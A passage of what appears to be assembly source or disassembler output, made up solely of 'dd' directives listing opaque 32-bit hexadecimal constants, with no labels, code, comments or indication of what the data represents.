70788C9Ch, 0BD682F8Ch dd 566944E6h, 0E7297555h, 0E00E1204h, 30395BC7h, 8F730FEh dd 1D885166h, 1ED1F6F9h, 16682ACFh, 8FE8602h, 542DB558h dd 0FC081386h, 1DB7E19Bh, 0EAC19993h, 0E6F553h, 0DCE95605h dd 44F5BACDh, 3D3C75E1h, 0CACA8813h, 0DBE84FF4h, 0F256662Fh dd 0BFB31C3Eh, 0E95AF302h, 123C7C79h, 0E31A0945h, 0D7C80256h dd 14DE0689h, 0C836B71h, 90AF6304h, 7596885h, 6EA0C862h dd 0B05001C4h, 64096ED4h, 645BA55Fh, 0E1028F09h, 803B512Ch dd 15722BE6h, 0BC7B931h, 0BC2AF931h, 4BFA4D4h, 9B5D7F3h dd 2E87E5Eh, 304E7DEDh, 77E7E40Fh, 0ADCDF690h, 3A52534h dd 70E92774h, 0F80F508Ah, 2091B0D8h, 7695AFC6h, 0BDF03CEFh dd 78DC29E2h, 678AE9F0h, 7EEE7184h, 898E85A2h, 0CD81E0F5h dd 41EEB561h, 338796B5h, 0AC44BB08h, 59F078B2h, 73A0B905h dd 92000B29h, 1BF6411Eh, 23C73981h, 0B1F53D16h, 0D7C56E6Dh dd 0A8BFB398h, 3897C777h, 10E7C4E9h, 0B0FA6546h, 0F405BDD0h dd 311D1A0Ch, 0ABD384BEh, 0E9CE8AFCh, 0BBD13349h, 98BF5C16h dd 4B398336h, 75B14ABBh, 12055220h, 0A3E6EEE9h, 0B850805Fh dd 22F1C5Fh, 82522D31h, 0F8410621h, 0F48E7A1Ah, 9BC5E7Eh dd 9775C41h, 0CDFD0090h, 0B557F048h, 0CB0630C0h, 0E9122079h dd 75EBBD6Ch, 0A0AA1607h, 0C74BFE4Fh, 0AAF24EF4h, 31EA82B2h dd 5DF0E97Ah, 0AC780DF5h, 78720502h, 885F56A2h, 5E0207B3h dd 66605368h, 0EAD6D614h, 0F531A349h, 4C4CFF2Ch, 35EF995Bh dd 1053FCF3h, 4032278Ch, 0C70A48B4h, 177C008h, 370A4B25h dd 958B606Eh, 52EF91D6h, 5031B3BDh, 0D6BD4A5Dh, 8E512F27h dd 0DE983E8Bh, 0D1487897h, 200AC697h, 0B90432B2h, 469B2150h dd 0BC7F12EAh, 810D60CFh, 0F8926F1h, 0CB096D2Dh, 0BEEB0CA4h dd 0A8058A4Ah, 42E857A5h dd 1B10EAEDh, 1D054D52h, 0C0079C20h, 83A6DEE6h, 7204465Eh dd 491D7D6Ch, 73687549h, 195C449Dh, 0CB0A7C89h, 86413D1Bh dd 0F0B9B10h, 0E1FE2785h, 0E2D95E25h, 3297BB6h, 3FA76345h dd 8693DF99h, 38C3F13Dh, 7D4787C3h, 0BD92519Fh, 525F175Fh dd 121D76A4h, 868BB54h, 8B05A2D6h, 0F9A45EDEh, 6B3860FBh dd 53A568D1h, 996065B6h, 0B25A657Dh, 9752338Dh, 2F1C275h dd 0F3AC9AD0h, 34447F17h, 0F238B30Fh, 3AA63D21h, 1CC20820h dd 5F045320h, 0BC6281D9h, 16CE7DE8h, 7B749A3Dh, 594CD97h dd 0A70CCEE9h, 61BA5FB7h, 1574762Fh, 0A550E0BEh, 580E1C14h dd 18C30FD6h, 0C12985DFh, 7D08E410h, 4FC5015Ah, 0F3C61CE9h dd 0EB5A75DFh, 1016C0ACh, 0E9F8C821h, 5AD1D220h, 0AB1CC55Dh dd 1F82A195h, 3582F524h, 68010282h, 762665B4h, 16CC6D10h dd 1602D6F7h, 0E27FFEF9h, 0DB4CDF75h, 52B9E29Dh, 3C2C6209h dd 1657C284h, 8B6997B1h, 46B1C734h, 0E5F16101h, 5E5C02DFh dd 0AE066B95h, 6658463Ah, 0A57F3C88h, 89CF7EC7h, 0C6D507EDh dd 0BCC506ABh, 1867A722h, 0A641B209h, 884EFE68h, 7427BF20h dd 0D9D57A8Ch, 680B3AC7h, 797E5121h, 0DBB46742h, 0C0830AEEh dd 5BD308FDh, 687EB001h, 8C3E1DEAh, 1640AC15h, 5DF806BDh dd 902945D1h, 678E86C1h, 42E17E30h, 245E926Eh, 15571EDDh dd 0D55A70E9h, 95280317h, 2674F109h, 0E378506Dh, 3D066916h dd 52F88000h, 2DE90B8Ch, 0CF1214E4h, 24304455h, 5A717329h dd 89CC717Fh, 0DE43E5E9h, 2AA319A9h, 315002E7h, 8C65B65Fh dd 5E22E599h, 98D28ED0h, 66586FDAh, 1FF37ECEh, 0F62D7A7Fh dd 2090F80Bh, 5EB5C4FCh, 31F769D9h, 0EA693244h, 0F81DC603h dd 88D9962Dh, 0DA617EADh, 0B66B6B82h, 184B7A4Ah, 2B944CCh dd 20D80287h, 0F8F5E9D1h, 0B19C2720h, 0F0D7D6AFh, 0FE015B41h dd 80D2F6CAh, 916E7FEAh, 2298E86h, 7A3C5D5Fh, 1558DAC8h dd 9A1765B9h, 0B9C4D7A1h, 0B624CF82h, 7F0D8909h, 5FCBB764h dd 0DDEBB954h, 43728D40h, 0CD50E216h, 2C3679C4h, 0D9F70B66h dd 0D8005D41h, 372F84F6h, 59CA2912h, 11E6E4B4h, 4A6AFB43h dd 0A95B8DE7h, 6E04D66Ch, 0ADF4C2B8h, 11725D0Ch, 0F180C900h dd 64B551CCh, 4D7CDF0h, 0C5E5F26h, 0EFA7DE0h, 0FB9A69E8h dd 0B6E94216h, 5560C0E1h, 91583DC8h, 0E5DD941Ah, 0E8A900F7h dd 9DD8F706h, 0FAA0557Ch, 35131A4Ah, 6880E5F2h, 22C96EF5h dd 0A588C8B6h, 402412h, 0E1FB5E3Dh, 8FB0FA89h, 0D49F3492h dd 6E50D945h, 8588BB8Ah, 0E718088h, 0E1C3FAB1h, 0BF9FD094h dd 139434AAh, 0E0661243h, 0ED4CB699h, 88845ED6h, 0CADFDDA2h dd 0C2CC6DC5h, 965BC828h, 82A12C09h, 941C25Ch, 0B90C62DEh dd 40784358h, 0C505FE2Eh, 0A98E8D0Fh, 5D8B0842h, 0F78A0396h dd 0B62DBBAh, 70BFDF78h, 0F8E5BD09h, 2C607F9Eh, 0FF170Dh dd 4B40353Ch, 8DFE06EDh, 9385A4BAh, 5202D7A2h, 0CF1890BAh dd 25DAFF2Fh, 0CC206B00h, 81E3D16Ah, 3037E6F3h, 310C5D40h dd 8812D877h, 35ADDF01h, 0A8A2BA92h, 6A454492h, 585B00ECh dd 9366BC68h, 398F05FFh, 77C704B6h, 0C9570F64h, 832D04CFh dd 0B59F7388h, 0E5808601h, 0F0C5CCC7h, 4C206F92h, 30DDFBCEh dd 0BD45F5F4h, 886F9822h, 7079E548h, 5A81DC9Dh, 26F1C389h dd 0C6D08365h, 5E7492BBh, 4E11BDB1h, 0B0E93081h, 65EE1E3Eh dd 7B58B17Ch, 2AD49FE0h, 9516B3CAh, 52BD6CD0h, 2A53E2Eh dd 0F1502A27h, 6B099599h, 0E7EEFDFCh, 5C898E2Dh, 2E74A7Ah dd 563E0ACDh, 6C1B71D7h, 0AC404D34h, 28DCEDF7h, 65DB9763h dd 82BD9516h, 1955E101h, 61493E0Dh, 5E9F2875h, 0B98574AAh dd 0A0EC841Ch, 23018B06h, 790FBC80h, 98DA8780h, 0C06E20E1h dd 0A0ED685Ah, 0EFCA4F7Ah, 29630A40h, 90452206h, 0FAF84E69h dd 758B5439h, 885F9145h, 0FBC20D04h, 0CB255F09h, 7DC0A84Ah dd 9E7FE998h, 5B21DE5Dh, 7794AFA8h, 15106900h, 5568527Bh dd 72B3224Ah, 4A617E05h, 4FC4621Bh, 2179E60h, 0BB99C9C4h dd 51EA4D91h, 34D7CACCh, 0BF04C2FEh, 0C04A4EF6h, 8E4A626Dh dd 0EE550732h, 0B749CE4Ch, 0D3BDA5F0h, 29EA00EDh, 0E91A9E3Ch dd 0D0B9115Bh, 0EAD3D02Dh, 21AAA812h, 787D4Bh, 95551D68h dd 0CE0032FBh, 0BB03A51Fh, 2E5B00ABh, 0E9FB313Eh, 93973D25h dd 0DAE8C149h, 0EE7D7C2h, 109E6427h, 4EBA06E9h, 1ED6F8C1h dd 0BAC2C99Ah, 0CB4215Eh, 43582DBDh, 0DC6FA400h, 53D66807h dd 0FD25BBACh, 5583115Ah, 2543B0E4h, 257917BBh, 2548E560h dd 7D3C9041h, 0D8D081DBh, 8803B753h, 66CCCF80h, 0F6FEB052h dd 0F0F7F4D6h, 27EFFA5Ah, 82D7302Ah, 59837CDFh, 55561E3Ch dd 2C01A272h, 6F8F0F90h, 91A33FA6h, 0FD543815h, 5029CC03h dd 0C4810B4h, 9E2A2CBDh, 54AFB7A4h, 0E563722Ch, 0F546CEEAh dd 38F7C9F1h, 0A168826Fh, 0CF4D5F1Eh, 2CA5B2Dh, 203F2153h dd 2DDC0460h, 0C6ACD30h, 7CCA0205h, 0A4CE0066h, 506DA054h dd 56043DB8h, 52E94D84h, 0BA03A6ECh, 8C06801Ah, 72FCBBD2h dd 0F205319h, 0B7517543h, 0E8B46B4Eh, 0AB5BC9F4h, 0BFEFC176h dd 0D9481CA5h, 310B35D0h, 0F299A144h, 92D02D1h, 68E9651Bh dd 0F39570D0h, 0D71B3E3Dh, 0F08346DBh, 3CC937B9h, 8481935Bh dd 978C1CF8h, 0FD06BEC6h, 0C05F7EF6h, 52856FA2h, 7AB2ABADh dd 0B15C4426h, 5D476CCh, 0EC5C0AFh, 0ABC70EBh, 0B58CF825h dd 0BC3771h, 0DA0AE021h, 0B5A83CE9h, 26A4F1D4h, 0B4871817h dd 44B93DE2h, 25CDA1E7h, 0FB7F8988h, 0C1731724h, 4E706BB1h dd 19E91667h, 0A85BBC4Ch, 358438E9h, 34579D70h, 9CCC9D6Dh dd 0FE5FFE27h, 6CE4D058h, 0F4B97795h, 2DFB3C3Bh, 0BD4C705Ch dd 4CDAE55Ch, 68510916h, 0B4FD6547h, 80F3B544h, 0C21FE90Bh dd 6C4E5D54h, 0B212124Fh, 9106DA8h, 0B3C75EDBh, 0B3BA2B14h dd 555FC993h, 0B5940D6Eh, 9F8A8052h, 53A346h, 0FF336D35h dd 0D38E0F59h, 0D5266AB5h, 5A012DC8h, 8F915486h, 56EB2D88h dd 0E6F0145Dh, 9D5263C2h, 4B8274ABh, 7200C54h, 0E76B5990h dd 0B0325766h, 7FCBD474h, 0B2E97510h, 0BA164765h, 0EEB795EEh dd 8E390991h, 4D760562h, 0AD5FCF43h, 1FAF4B12h, 6E738A80h dd 0DDF92A9h, 43060376h, 81FAD7DAh, 0D0C2D58h, 0A4C45546h dd 68E34004h, 0B23A9225h, 0E79A40EDh, 647782C9h, 34662956h dd 40B06EB8h, 0D494E7EBh, 1936D525h, 0B9515F02h, 61E41CC0h dd 173E6849h, 0B6B452C8h, 525F04D4h, 8AAC98E9h, 2DA1E64Bh dd 0AD8DD634h, 0BE92F5D2h, 0D676816h, 5210DFCCh, 0BF7F0865h dd 0A4C2AD20h, 5960AE39h, 2726F196h, 0AB18D207h, 0FC5F0285h dd 19877F55h, 3C06B4C3h, 8F96D12Fh, 0E30607DCh, 0AECD591Ah dd 0ADEB5E9Eh, 0E29F0FD5h, 5FBBB551h, 0B3671574h, 0C1BE30B4h dd 60EB28B3h, 0D4400781h, 0DB58955Dh, 0F285714Eh, 7B50D0DAh dd 276E1240h, 0E9DFCC13h, 3E0A68E1h, 6F33130Fh, 1DC3EA25h dd 99EBDCD4h, 2C212E7Dh, 8C6F4B31h, 29433039h, 0BA101A4Ch dd 67BB02A2h, 0D526F671h, 0EF80EED8h, 8682D1ADh, 20671203h dd 5A37CB41h, 7CE4A133h, 4022BA00h, 0BB063596h, 0AEA89E8Eh dd 81B32764h, 0FB9499D5h, 0EB20843Ah, 0AC848CA3h, 0FA25BE57h dd 2859C280h, 817B0161h, 1C5144CDh, 9E7A905Dh, 7404AF4Ah dd 2CFE140Ch, 0CD52E99Eh, 0BB810EA2h, 98EE128Ah, 0FA6F7253h dd 25CECB22h, 0A5EF57FBh dd 5456D583h, 18A4AA9Eh, 0C07A0BB2h, 1B0A08EAh, 8A9E09A2h dd 259A7469h, 8D8630F7h, 31A2784Ah, 1742E59Eh, 0C493D175h dd 2551A819h, 0BA015E2Dh, 5A0BBDCAh, 0DAAB9DD4h, 54332002h dd 406DD231h, 52952DD3h, 6856156Fh, 0BB80C445h, 435F470Ch dd 607AE916h, 0F516C8E3h, 9E91FCB3h, 4F403616h, 0C55DD30Dh dd 0EF609D20h, 350A8B02h, 0C9C301D2h, 0C920E424h, 6BAAE918h dd 0EFA2B532h, 0F82FE0CDh, 0BDF78027h, 901C4E2Eh, 7AEC2019h dd 0CB97595Ah, 0F26AB830h, 0D901279Eh, 0F8C17931h, 854B4E49h dd 796F88BAh, 72A76B4Eh, 3C05C04Ch, 806DA826h, 47229142h dd 6C800360h, 0C129A94Dh, 4605A50Ch, 5FDF4259h, 829B4CF5h dd 0A477580h, 0FE95E90Bh, 0C6F5251Bh, 0F7B3E255h, 51368001h dd 8074BB87h, 3F04C83Dh, 953D12Ch, 0FEA3B050h, 22444C82h dd 56015F02h, 73405AC9h, 0FF13670Fh, 8CBF5826h, 0DBFF07Eh dd 0B7C852F1h, 0D3681396h, 0B0FA302Bh, 9B902865h, 6C2D667Eh dd 0EFF19057h, 47D19749h, 33EB5CC4h, 0A3022EA8h, 1F8C0F49h dd 7F6A7256h, 0E133F207h, 292CCC6Ah, 0E01770D2h, 0CF015A05h dd 88FED7C5h, 1A9F870Ch, 271744D5h, 0EDE57B28h, 0B02C4422h dd 39C2108Ah, 0B0B74697h, 0B57D4BFBh, 0CE36406Ah, 0EA325893h dd 6A40B860h, 409A6372h, 121EED0Bh, 0AC052D13h, 0BFE94F97h dd 6886E04h, 8257C0CDh, 0E2EBB50h, 48088329h, 0E7833E47h dd 220213AFh, 6BFC14D9h, 0AFD07FA8h, 0CE2DD04Ah, 73B7D13h dd 0B4C6025Fh, 600B2223h, 2F71414Bh, 0D0A6801h, 0CE590B89h dd 69044B7Bh, 0F3FE2D9Fh, 478FC25Bh, 306E7740h, 0B4EC854Fh dd 0CAB1FBD2h, 0E131F87Bh, 0FCFB67A2h, 2E328FBEh, 0B980338Bh dd 21CD3403h, 140EF281h, 0A461CE53h, 272BAF04h, 2CEEE875h dd 51053852h, 0D7FA624Ch, 15BF30A4h, 0D7955D7Bh, 61AE0BB0h dd 0E1901E7Eh, 0FB06B902h, 4AC9E908h, 0C68B5F6Eh, 0D62EFC24h dd 803BC06Fh, 0DFF602EFh, 0FF1A7968h, 0FC8EDC99h, 0E925F3EAh dd 0DF05895Ch, 0F149B5C5h, 0F5A6C2DFh, 0D807A9D7h, 43320F7Ch dd 903D354Bh, 742E0604h, 0B0C3C3Fh, 3AD23368h, 9319827Dh dd 0A00A68BBh, 0A414957Ah, 5A505D3Fh, 0CA30469Dh, 0AB9C602Dh dd 0EE4F5AEFh, 5E66094Ch, 383092B5h, 248269A4h, 0A6D2E0FFh dd 6D942F5Dh, 783A9F0h, 0E8B5577Dh, 0B5C7D55Eh, 8B6BBF5Eh dd 89B5D164h, 0D9601DE9h, 2A129DBEh, 59094C54h, 326F8111h dd 443F7FE9h, 0AF04EACDh, 5EE96C68h, 0EAAFD1C7h, 89EF1409h dd 8CA7EC88h, 665E21C6h, 0D4F6020Ah, 0E480CCFEh, 0D930C6E9h dd 0A9E02ACDh, 0DDF630A1h, 0E5C0C90Ah, 0ED07087Eh, 59EC3039h dd 4904360Fh, 0A99168Eh, 4FB83C20h, 0AB25BE83h, 0D8DEF90Ch dd 0E3331DA4h, 6DF68149h, 6AD59432h, 0D361D5A1h, 1334E33Bh dd 0D3CA4764h, 8E1C2C32h, 0E4C0FA48h, 5060365h, 0A918DEC2h dd 4FE86481h, 0B1749099h, 59F830BBh, 0AF40C7B0h, 0D6822D0Fh dd 4E9793D0h, 0C78B122Ah, 7BDBF25Ch, 0BB70F94Bh, 472F3C1h dd 0D0E93097h, 0B7B207BBh, 0B992CA07h, 865A77B1h, 20970D31h dd 19C9D388h, 61513134h, 0C8E95754h, 0D66B8F44h, 5A990B5Ah dd 22684C8Ah, 0FC5BFA46h, 315AA0CBh, 3A26A0C8h, 0E07DC986h dd 3F3F0206h, 12ACF758h, 0ABEC8E6Ah, 0D37EBC85h, 41F2CB46h dd 6616DFF0h, 670FF1F7h, 0B23BBF6Ah, 5851269Dh, 456213F7h dd 98AB7Fh, 0E90CA0EEh, 0D84B5A0Eh, 1E4128FDh, 96672AF8h dd 72A94962h, 55009B29h, 616B52D0h, 0A6E2315Ah, 5469746Fh dd 27C916DDh, 0A4A7B7E9h, 92F273DDh, 0E41B4Ch, 232C6035h dd 13C5E0Dh, 3A055B33h, 20483459h, 38BD61C0h, 622E68B4h dd 0A65EAB38h, 0ECADBC7Bh, 94C398B8h, 7F68843Eh, 1C12B377h dd 0F7274DE1h, 0CD9D0316h, 0B85013DAh, 61BF4AD4h, 8937BBB8h dd 55549599h, 0BA566230h, 24D561A8h, 5F921991h, 0C0BF290Bh dd 97F8219Bh, 2E9AC7Ch, 0AD3D87h, 0C95B890Dh, 0E8017C75h dd 0F280E65h, 1D244981h, 64927225h, 979B5652h, 7C9A5320h dd 415E1E12h, 0D78EA5E9h, 0EE341105h, 1035C554h, 5F3798AFh dd 8408922Dh, 0BF89CC48h, 8100E49Ah, 1A2417F2h, 5F4BE93Fh dd 0F8FD076h, 0C75EBA8Dh, 318446F2h, 0F78F37A8h, 1EB007C4h dd 7068F378h, 7282B981h, 0B5E4EE26h, 0DF65366Bh, 0F80F7DEAh dd 33B60E40h, 0F267B2E9h, 1E95E775h, 0D7B27D87h, 0A7147F8Dh dd 2611F49Fh, 0E4CB1722h, 7A796F3Fh, 3781255Eh, 1A80FD29h dd 0F2BB585Dh, 3358774Bh, 287E0F72h, 9CE98407h, 12839895h dd 0D7BF3E9Eh, 0A7B55826h, 49152FDDh, 7561E28Fh, 3437A294h dd 73628587h, 80A5A7A6h, 32F20BD7h, 561877A4h, 481DBDC6h dd 0E6815333h, 422D1144h, 10C0DD31h, 0D428ED0Ch, 3504415Eh dd 0CE517D06h, 0A7F9AC60h, 0EE58C69Fh, 9AFF8263h, 0AEAA814Bh dd 55DE7B4Eh, 880EE58h, 0C54E56E9h, 592AFFCh, 138BFBB7h dd 5E17BCC6h, 6F9B2DAEh, 0E9C550ECh, 0B97690BDh, 222D79C0h dd 92417E3Ch, 0E4C2A84Ch, 8EBE39C4h, 70BB5F16h, 0BBF5721h dd 5E4A7F18h, 257C87CEh, 75F02ECCh, 7CCADD27h, 0B4296FB1h dd 772D27D4h, 0E2FEBA14h, 7FF2964Eh, 5ABB5301h, 0FB6E4B45h dd 73F61CE2h, 2484776Eh, 59E64A77h, 0F55C482Dh, 0B148D6DEh dd 0BE56D0B8h, 0CA1E7C0Ah, 7803F42Eh, 42FAF11h, 654BFDCEh dd 8A580466h, 0AEA18F85h, 0BE89526Ah, 0C520D869h, 0F7544B26h dd 89D996C1h, 1410812Dh, 0DD552D62h, 0D6826229h, 0C3F1A1FCh dd 0D1382B8Bh, 9B840F2Ch, 0E5ED7198h, 5EF89412h, 0E967B4EAh dd 8FB45B26h, 0C809A8A0h, 445E401h, 0EDAA8929h, 5FB9C94Bh dd 8000AC42h, 0F8211F5h, 4ECF2924h, 0B6B00820h, 4EE501B7h dd 3E71EED1h, 8A2AE2D1h, 0C9C1DD2Fh, 165F6E9Dh, 7A541630h dd 0F0BE5E2Ah, 0E82568D9h, 883F596Dh, 0EC313B9Fh, 4C6FC195h dd 81245A0h, 3EE48A4Bh, 0BC724F2Ah, 6CA3C4ADh, 0BAE0570Fh dd 1C016A54h, 0AEAFBF01h, 0D7297B98h, 8BA2ED6Eh, 62E78544h dd 931B0DD1h, 5B54428Ah, 89501EA0h, 0D9F6D1CFh, 9C250249h dd 41E87C7Dh, 4CCBB89h, 0D60AF182h, 0C77F695Fh, 760D8CBDh dd 0DCB7310Ah, 29EF027Ah, 0F8406F69h, 0CA2E7937h, 0E1106C77h dd 1283558h, 2778EC25h, 5440CE69h, 2BBC309Fh, 5D545541h dd 4EF78F7Eh, 0EAB482ACh, 0B9580828h, 7FE9893Dh, 139E3CD8h dd 2BF4425Ah, 679F4E0h, 7755EB85h, 0CD121B98h, 72108B21h dd 0F68A120Ch, 48C5DFEEh, 0BEDA85A3h, 23E3FB90h, 383F4872h dd 0F29361Eh, 6262B876h, 40D6D8B2h, 0A405CF3Dh, 8089A704h dd 0EEB2DE0h, 5D5ADF77h, 0DE0B5FC1h, 921E3B7Fh, 0B92C67D0h dd 3A8209BAh, 0ED6AC07Dh, 2E803C89h, 8F48AF48h, 5F71E982h dd 0C3800507h, 3E01DEF4h, 0E2D158C1h, 86412833h, 257E3132h dd 0F7184784h, 6082C3E8h, 2E14637Bh, 9E134DABh, 7CBF20C1h dd 5FFF8C55h, 0BD3FA47h, 0F1CF23AAh, 0AB041350h, 7E40C24Eh dd 4F97294Ch, 30D57DF7h, 0B11A9B7Dh, 3CB8C0B7h, 16B35309h dd 4285FDFEh, 0A896C418h, 48680B14h, 0F9E9B038h, 0E956807Ch dd 0DA70BA2Dh, 16CEA8Eh, 0ECBE51D0h, 3EB499FCh, 0ED0276ACh dd 3982AACh, 80CA8FDh, 0BE31CF20h, 5FFD6199h, 5B9BB87Fh dd 0D9ED60EAh, 0E15BD6A0h, 7C31BDB9h, 2E565DEBh, 62AD95D1h dd 0B7C14BA0h, 4542EBE2h, 0E157E9CAh, 0D2202DCCh, 1C11B2AEh dd 0EED2F792h, 44D116FEh dd 0EED33129h, 0CE3D8899h, 0D03D8793h, 77442068h, 18101F48h dd 890F1CE9h, 0BDE6EECAh, 0D2945F09h, 28B5719Dh, 2498977Bh dd 0C45FE95Ah, 61406E32h, 48EE7BADh, 2F5BD631h, 66D04CBEh dd 355EE460h, 0B87D19C7h, 0F4132413h, 0CD09208h, 53384F40h dd 505267DEh, 7AB0C684h, 28CF1FC4h, 3B2D3AE2h, 0F627AE53h dd 5F1F0262h, 0D9DF6FDDh, 81CC2CAEh, 8366AF41h, 0A9FE50C3h dd 26055542h, 0C6CBE94Ah, 2E71B7BFh, 0E84C4A68h, 50CD4FF5h dd 7674F480h, 0E95D4A59h, 16E9C3FBh, 682A02AEh, 6C450296h dd 0E307D7DBh, 33950E3Bh, 0B1EBC5FBh, 3C9A2BCCh, 0E9DC8A02h dd 0A2489920h, 0D6825E58h, 3E240851h, 0A0B35827h, 2539B99Dh dd 0B441103Ah, 65A03AD1h, 8BFA0888h, 10B313Eh, 0CFCD05DDh dd 0E6D9BF4Eh, 580F8F10h, 0BA06A6DFh, 101FDB4Ah, 0CC4053B6h dd 4E19BFA9h, 1657CE31h, 3CEA97D6h, 0AD409254h, 5F6212BEh dd 0AE8B045Ch, 0DCB8AFEBh, 4AD2A9B4h, 0B83A1AD9h, 6858045Ah dd 3DEA2837h, 0CDDC3E24h, 48AB409Eh, 5550EECh, 0F10540ECh dd 6C4AC07Bh, 0F6A959F4h, 325897h, 7E763F3Fh, 88DA6011h dd 3C860646h, 4AB70958h, 0AA46C4FFh, 0D3E3B2ECh, 17731848h dd 5E29635Fh, 18B0E2D8h, 6072402Fh, 0DF2F8D0Fh, 0B00F17Bh dd 2AC25F8Ch, 0B21F355h, 5E93C706h, 173459E0h, 16744EB8h dd 0E0489827h, 9D8BE9ECh, 0B05F0062h, 827AFA2Ch, 0C98E20FFh dd 765D2157h, 25D0FF38h, 1A314BF3h, 0F05C25AFh, 1A1729C0h dd 0BCD9983Bh, 0FE5C16F3h, 426C5298h, 2E90D45h, 0E82F88D4h dd 0E313DFF1h, 575E30C2h, 5C92DF47h, 0C2E3E6ABh, 0DD7CF3E9h dd 68381DE4h, 98AA4BC6h, 7E444E4Fh, 0F3485E25h, 33E51756h dd 0E9C79DFCh, 0D7C4EB67h, 9095055Bh, 0B72525B6h, 197ECD8Bh dd 5547E824h, 2056D2D9h, 8100B8D6h, 5E75F5CDh, 28820F23h dd 160C27A4h, 48A3A16h, 1762074Ch, 4E4E6DF4h, 8948B98Bh dd 67D4D056h, 11BB18B7h, 0EE6C6B78h, 59B2F763h, 19B9BB80h dd 1C5A6241h, 0CB09FB81h, 0F3B09E7Ch, 4224075Ch, 6502222Bh dd 0D51D8E7Fh, 3C84F940h, 9FD00180h, 2D601874h, 6E216405h dd 7D41C24h, 0F2565A16h, 0E0DD948Ah, 9D7B52E9h, 0B426EFC4h dd 1D6A00F1h, 84333E0Fh, 12B8B2ECh, 98DBB2D2h, 6D15B8h dd 2AB807E2h, 3133A723h, 2B887394h, 0C39D0EB6h, 685BBDE6h dd 824AB680h, 0AC06F899h, 0ECD01709h, 2EB83050h, 880D75ECh dd 4FF00E00h, 3411CA05h, 2EF2F40Ah, 26C3693Dh, 29780062h dd 0DF05D8F7h, 0DA4E0CF2h, 0BC6A38E1h, 51E98383h, 0ED6F0391h dd 15660F92h, 842E8698h, 0D355E99Ah, 0DCF62AB8h, 607F9710h dd 0AD5F2F16h, 27417C54h, 2418DDEBh, 380227C6h, 0B5684458h dd 8025797Bh, 13F173C8h, 5D9CC609h, 28A89C2h, 0DCC0E0C1h dd 0B3005005h, 0EF811415h, 1E29162Bh, 39C7011Eh, 863B0851h dd 6109225Ah, 0DE171875h, 48805A60h, 400E7AE1h, 5713F6F8h dd 481EFB07h, 24EA54D6h, 0FD2CEB84h, 0B97237h, 2D7805B8h dd 0F829463Dh, 710746EBh, 50B1A4B5h, 0D84598AEh, 703CE919h dd 73D8960Eh, 0A6119F5Fh, 6D013B53h, 205BB050h, 8F6BA70h dd 26B2E9D1h, 1804B81Fh, 7B81220Eh, 5DC657Dh, 0C1E230E9h dd 2879BD20h, 0D126A90Ah, 0BF09CDEDh, 7A7CC136h, 0BB024368h dd 3B5365A7h, 16C5B340h, 0FC6DD92Ch, 4E76F003h, 4F180517h dd 0AF7B0C07h, 955834C8h, 5A2216FFh, 0A2D8A45Ah, 5591B40h dd 4998ABB9h, 6183EFA8h, 7709A7ACh, 7F4B4CD1h, 2EA5CF19h dd 0B7E472AFh, 0F92D2DF2h, 0EB15FF5Fh, 1DC92630h, 1B347605h dd 0C1AE6BE9h, 6B5A0AB1h, 0EC9252ECh, 0D800A48Ch, 35D85D67h dd 0B58BA14Bh, 0B87298D0h, 40C30CD4h, 5D0C7CD1h, 0B3C70812h dd 0FE1C12BEh, 0F204C0F2h, 0BE1E9723h, 7378EC30h, 4F6D1D21h dd 6BECC1h, 0DC0B9AC7h, 0F90B292Bh, 0FFF5A1E9h, 0E477563Ah dd 1DE954Eh, 0D1A54EEAh, 0EA29659Ch, 0EBD6EBB3h, 0EAD7B992h dd 2DE577D9h, 0D85E9E4h, 5E05288Ah, 46789068h, 833AFBD7h dd 43B6CD4Eh, 0A6B8B94Ah, 1B681726h, 0CAC66142h, 0BE5F01BCh dd 14782D30h, 0E9FE316Ch, 0E2F76A16h, 1C6F4203h, 0F80E6F04h dd 3AFC922Ch, 0FE65B5A0h, 3980C539h, 4FE599CAh, 0F5E4DA0Ch dd 870BB7A8h, 0C40857F6h, 4B428A1h, 6D6E220Bh, 0FAE6C4C1h dd 9DA07224h, 0F75C9556h, 7CCB898Ah, 2786D46Ah, 5F40738Ch dd 8032EF03h, 935E5C4Ah, 0CB09090Eh, 2F1CF85Dh, 0FD6E3427h dd 454F9FF6h, 5FB0A888h, 0CBCFD1F9h, 20900682h, 91F64AB5h dd 0B8407FFDh, 1CE1ED44h, 0F2CF4E89h, 7967C415h, 0EDB850EEh dd 583DCC4Ah, 673B1197h, 0AC665597h, 0CA5F3FE9h, 0C7A7B7BCh dd 9C57EB11h, 0A341202Dh, 0FDA08DA0h, 0FE13CD2Fh, 0E2632C61h dd 0EA7468F9h, 0A13EB5BBh, 4C85BF1Dh, 0F6E22795h, 927B10h dd 0E1EA815Dh, 4F0FDA72h, 0B3791052h, 3EAE0B68h, 0C3DCC02Dh dd 57FD276Fh, 63FE529Fh, 168EF3CEh, 0F2CEDA97h, 2159418h dd 0EB80A2B2h, 0A45079C0h, 0F6A8529Ah, 0FE12511Eh, 0E3215B1Fh dd 52FE4h, 0B0602A07h, 0E095294Fh, 5F015A12h, 0D064AC5Ch dd 2F084111h, 0E33EF7B5h, 87E90916h, 0CBFDF659h, 0D9B5BEF0h dd 0A021EA34h, 0F5C019Eh, 54E9EE51h, 29642E8Ch, 9FCAF8AFh dd 7F3EC267h, 21FF7B96h, 61A36F0Bh, 15A4CB96h, 1D82ABE9h dd 0FFEDDAF6h, 0E5B18007h, 4FC2BA30h, 69ADF0DCh, 0C600F929h dd 1AE846F8h, 0A40D7EBDh, 0EC85175Eh, 2D475ECCh, 0BF960BF6h dd 19D7F288h, 187E1327h, 829BC42Ah, 12167C9Dh, 4EB4C07Dh dd 5128890Fh, 5792432h, 72F68526h, 0BE148A97h, 98FF4B3Ch dd 495F6860h, 5C969E46h, 0C9FEB9B2h, 0DC0EA8D9h, 0CBAE1762h dd 855525C8h, 0DFF04177h, 59D6408Bh, 0C7E7D497h, 0B10CF553h dd 5B5ED807h, 61992E9Dh, 0DF3C88BDh, 2E664060h, 34DE038h dd 9226E9FBh, 8513326h, 77B37E18h, 8B36B338h, 0BAABBA57h dd 9846835Dh, 6D9BC769h, 0B8460CB3h, 0C8648822h, 8E41C5Eh dd 552B0EE5h, 0F5C07B83h, 38F3294Eh, 4DD5F717h, 0A44400EAh dd 0E9B4DCEEh, 725CA727h, 80612026h, 830AD3A0h, 5EFCFA8h dd 0C90967B8h, 8026762Bh, 29685567h, 0E8F99513h, 0C031839Fh dd 0F18B02E1h, 96F64D1Ch, 58047F72h, 3D9DC286h, 40F28902h dd 0C0440512h, 1835C2C7h, 0F0B76D2Ch, 135DFA68h, 8365F12h dd 451C9022h, 33A6FC6Dh, 0DC010206h, 0F86B2C4Ch, 4835EA01h dd 